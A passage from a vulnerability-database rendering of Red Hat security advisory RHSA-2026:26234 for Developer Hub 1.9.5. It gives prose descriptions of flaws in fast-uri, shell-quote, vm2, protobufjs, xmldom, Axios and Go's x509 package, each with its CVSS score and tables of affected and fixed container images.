"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name"
}
]
}
RHSA-2026:26234
Vulnerability from csaf_redhat - Published: 2026-06-16 09:33 - Updated: 2026-07-30 19:27Summary
Red Hat Security Advisory: Red Hat Developer Hub 1.9.5 release.
Severity
Important
Notes
Topic: Red Hat Developer Hub 1.9.5 has been released.
Details: Red Hat Developer Hub (RHDH) is Red Hat's enterprise-grade, self-managed, customizable developer portal based on Backstage.io. RHDH is supported on OpenShift and other major Kubernetes clusters (AKS, EKS, GKE). The core features of RHDH include a single pane of glass, a centralized software catalog, self-service via golden path templates, and Tech Docs. RHDH is extensible by plugins.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in fast-uri. A remote attacker could exploit this vulnerability by providing a specially crafted Uniform Resource Locator (URL) containing percent-encoded path separators and dot segments. Due to incorrect processing, fast-uri would decode these elements before proper normalization, leading to distinct URLs resolving to the same internal path. This could allow an attacker to bypass security policies that rely on path-based comparisons, potentially gaining unauthorized access to resources.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in fast-uri. A remote attacker could exploit this vulnerability by crafting a malicious Uniform Resource Identifier (URI) that contains percent-encoded authority delimiters. The fast-uri library incorrectly decodes these delimiters during normalization and then re-emits them as raw separators, which can change the URI's intended authority. This issue allows applications that perform host allowlist checks, redirect validation, or outbound request routing to be steered to a different authority than specified, potentially bypassing security controls.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in the shell-quote component. The quote() function did not properly validate object-token inputs, allowing line terminators to pass unescaped into the output. A remote attacker could exploit this vulnerability by providing specially crafted input, which a POSIX shell would interpret as a command separator. This could lead to command injection, enabling the attacker to execute arbitrary code on the system.
8.1 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in vm2, an open-source virtual machine (VM) sandbox for Node.js. This vulnerability allows an attacker to escape the sandbox environment by exploiting the `inspect` function. Successful exploitation can lead to arbitrary code execution on the host system, compromising the integrity and confidentiality of the system.
8.1 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in Go's `crypto/x509` package. A remote attacker could exploit this by presenting a specially crafted certificate chain containing a large number of policy mappings. This inefficient validation process consumes excessive resources, which can lead to a denial of service (DoS) for applications or systems performing certificate validation.
5.9 (Medium)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
Threats
Impact
Moderate
A flaw was found in protobufjs, a JavaScript (JS) library used for compiling protobuf definitions. A remote attacker with low privileges can exploit this vulnerability by injecting arbitrary code into the "type" fields of protobuf definitions. This malicious code will then execute during the object decoding process, leading to arbitrary code execution and potentially full system compromise.
8.8 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in xmldom and @xmldom/xmldom, a JavaScript module for parsing and serializing XML. This vulnerability allows an attacker to inject malicious content into XML comments. By doing so, the attacker can prematurely close a comment and insert unauthorized XML elements into the final output. This could lead to the manipulation of data within the XML document.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in the `xmldom` library, a JavaScript module for parsing XML documents. An attacker could exploit this vulnerability by providing a specially crafted, deeply nested XML document. This could lead to a Denial of Service (DoS) by causing the application to crash due to excessive recursion.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in xmldom and @xmldom/xmldom, a JavaScript library for parsing and serializing XML. This vulnerability allows an attacker to inject arbitrary XML markup into a document due to improper handling of DocumentType node fields during serialization. By crafting malicious input, an attacker can cause the XML serializer to prematurely terminate the DOCTYPE declaration, enabling the insertion of unauthorized content. This could lead to information disclosure or, in certain configurations, the execution of arbitrary code.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in xmldom. A remote attacker can exploit this vulnerability by providing specially crafted processing instruction data. Due to improper validation of the processing instruction closing sequence, the attacker can terminate the instruction prematurely and inject arbitrary XML nodes into the serialized output. This can lead to data manipulation and integrity issues within applications that process the affected XML.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details.
7.4 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in Axios, a software library for making network requests. A remote attacker can exploit a prototype pollution vulnerability to inject arbitrary HTTP headers into outgoing requests. This occurs when the application's core object definitions are manipulated, causing Axios to misinterpret data and include attacker-controlled headers in network communications. This could lead to unauthorized actions or data manipulation.
7.4 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Moderate
A flaw was found in Axios, a promise-based HTTP client for browsers and Node.js. This vulnerability occurs because the `toFormData` function recursively processes nested objects without a depth limit. A remote attacker can exploit this by sending deeply nested request data, which causes the Node.js process to crash due to a RangeError, leading to a potential Denial of Service (DoS) if the process crashes.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability, a Prototype Pollution "Gadget" attack, allows an attacker to manipulate the `Object.prototype.validateStatus` property. By polluting this property, all HTTP error responses (such as 401, 403, or 500) are silently treated as successful responses. This can lead to a complete bypass of application-level authentication and error handling, potentially granting unauthorized access.
8.2 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability.
7.2 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — | ||
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Threats
Impact
Important
A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as a Prototype Pollution "Gadget" attack, allows a remote attacker to subtly alter JSON API responses. By manipulating a specific function, an attacker can selectively modify data within these responses. This could lead to significant security breaches, including unauthorized privilege escalation, fraudulent balance manipulation, or bypassing critical authorization checks.
7.4 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in protobufjs, a library used to compile protobuf definitions into JavaScript functions. A remote attacker could exploit this vulnerability by providing a crafted descriptor that includes a non-string default value for a bytes field. This could lead to the generation of an unsafe expression within the toObject conversion function, ultimately allowing the attacker to execute arbitrary code.
7.1 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. When using the fetch adapter, Axios did not properly enforce configured request and response size limits. This vulnerability allows a remote attacker, through a malicious or compromised server, or by supplying a large data URL, to send or receive oversized data bodies. This can lead to resource exhaustion in server-side applications, resulting in a Denial of Service (DoS).
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not properly normalize IPv4-mapped IPv6 addresses. When a NO_PROXY setting is configured to block direct access to specific IPv4 addresses, an attacker can bypass this restriction by using the IPv4-mapped IPv6 form of the address in a request URL. This allows the request to be routed through the proxy, potentially exposing internal services or sensitive information that should otherwise be inaccessible.
8.6 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. This vulnerability, a Prototype Pollution "Gadget" attack, allows an attacker to escalate any existing Object.prototype pollution in an application's dependency tree into a full Man-in-the-Middle (MITM) attack. This enables the attacker to intercept, read, and modify all HTTP traffic, including sensitive authentication credentials. The flaw occurs because the `config.proxy` setting is susceptible to prototype pollution, allowing an attacker to inject a malicious proxy server.
8.7 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
